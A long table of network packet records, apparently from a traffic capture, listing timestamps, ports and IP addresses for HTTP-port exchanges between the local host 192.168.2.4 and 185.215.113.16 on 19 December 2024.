Dec 19, 2024 07:57:36.752162933 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.752170086 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.752191067 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.752312899 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.752326012 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.752340078 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.752342939 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.752370119 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.753232956 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.753253937 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.753266096 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.753274918 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.753283978 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.753298044 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.753321886 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.754162073 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.754175901 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.754204988 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.754220963 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.754264116 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.754276037 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.754287958 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.754295111 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.754309893 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.754326105 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.755089998 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.755103111 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.755121946 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.755129099 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.755141020 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.755158901 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.756463051 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.756477118 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.756489992 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.756500959 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.756520987 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.756556034 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.757160902 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.757174969 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.757203102 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.757227898 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.757282019 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.757293940 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.757306099 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.757313013 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.757332087 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.757941008 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.757952929 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.757972002 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.757982969 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.758008957 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.758763075 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.758774996 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.758788109 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.758809090 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.758809090 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.758826971 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.758850098 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.759757996 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.759771109 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.759783030 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.759793997 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.759804010 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.759921074 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.760565042 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.760577917 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.760658026 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.760740995 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.760752916 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.760765076 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.760778904 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.760802031 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.761636972 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.761648893 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.761662006 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.761679888 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.761697054 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.762450933 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.762473106 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.762485981 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.762501955 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.762504101 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.762526989 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.762550116 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.762819052 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.762856960 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.763468027 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.763479948 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.763492107 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.763505936 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.763531923 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.764219046 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.764231920 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.764257908 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.764275074 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.764406919 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.764419079 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.764436960 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.764445066 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.764463902 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.765198946 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.765211105 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.765229940 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.765238047 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.765254974 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.766119957 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.766130924 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.766144037 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.766160011 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.766161919 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.766182899 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.766208887 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.766813993 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.766855001 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.767085075 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.767096996 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.767107964 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.767123938 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.767148972 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.767487049 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.767525911 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.767939091 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.767951965 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.767963886 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.767980099 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.768003941 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.768909931 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.768922091 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.768934965 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.768946886 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.768959045 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.768981934 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.769781113 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.769793034 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.769805908 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.769824028 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.769839048 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.770211935 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.770224094 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.770248890 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.770265102 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.770721912 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.770734072 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.770745993 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.770755053 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.770775080 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.771378040 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.771414042 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.771646023 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.771658897 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.771671057 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.771680117 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.771699905 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.772574902 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.772588968 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.772600889 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.772612095 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.772612095 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.772636890 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.772660971 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.772805929 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.772838116 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.773675919 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.773714066 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.941960096 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.942012072 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.942024946 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.942045927 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.942152977 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.942152977 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.942512035 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.942523956 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.942538023 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.942550898 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.942579031 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.942599058 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.942823887 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.942866087 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.943454981 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.943468094 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.943480968 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.943497896 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.943522930 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.944432020 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.944447041 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.944459915 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.944473028 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.944474936 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.944492102 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.944519043 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.945297003 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.945308924 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.945322990 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.945334911 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.945346117 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.945358992 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.945379019 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.946192980 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.946208954 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.946233034 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.946233988 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.946247101 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.946250916 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.946269989 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.946285009 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.946826935 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.946890116 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.947107077 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.947120905 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.947133064 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.947146893 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.947165966 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.948031902 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.948045015 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.948056936 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.948070049 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.948080063 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.948097944 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.948115110 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.948946953 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.948966026 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.948980093 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.948992014 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.948992014 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.949009895 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.949033022 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.949857950 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.949871063 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.949882984 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.949896097 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.949898958 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.949927092 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.950767994 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.950779915 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.950793028 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.950805902 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.950814009 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.950831890 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.951365948 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.951411009 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.951716900 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.951730967 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.951744080 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.951756954 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.952406883 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.952433109 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.952445984 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.952617884 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.952631950 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.952645063 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.952656031 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.952675104 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.953473091 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.953520060 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.953552008 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.953567028 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.953581095 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.953586102 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.953600883 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.953617096 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.954488039 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.954505920 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.954519033 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.954531908 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.954535007 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.954549074 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.954577923 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.954818964 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.954859018 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.955368042 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.955391884 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.955404043 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.955408096 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.955425024 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.955441952 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.955578089 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.955615044 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.956340075 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.956358910 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.956373930 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.956382990 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.956398964 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.956417084 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.957206964 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.957228899 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.957242012 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.957252979 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.957256079 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.957266092 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.957282066 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.957480907 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.957524061 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.958110094 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.958149910 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.958199024 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.958213091 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.958230972 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.958245993 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.958249092 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.958276987 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.959084988 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.959100008 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.959122896 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.959136009 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.959153891 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.959470987 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.959512949 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.960014105 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.960030079 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.960045099 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.960056067 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.960074902 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.960114956 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.960158110 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.960921049 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.960936069 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.960949898 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.960968018 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.960990906 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.961112976 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.961149931 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.961852074 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.961867094 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.961879969 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.961896896 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.961922884 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.962019920 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.962052107 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.962764978 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.962779045 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.962790966 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.962810993 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.962832928 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.962974072 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.963015079 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.963710070 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.963725090 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.963738918 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:36.963756084 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:36.963781118 CET	49801	80	192.168.2.4	185.215.113.16
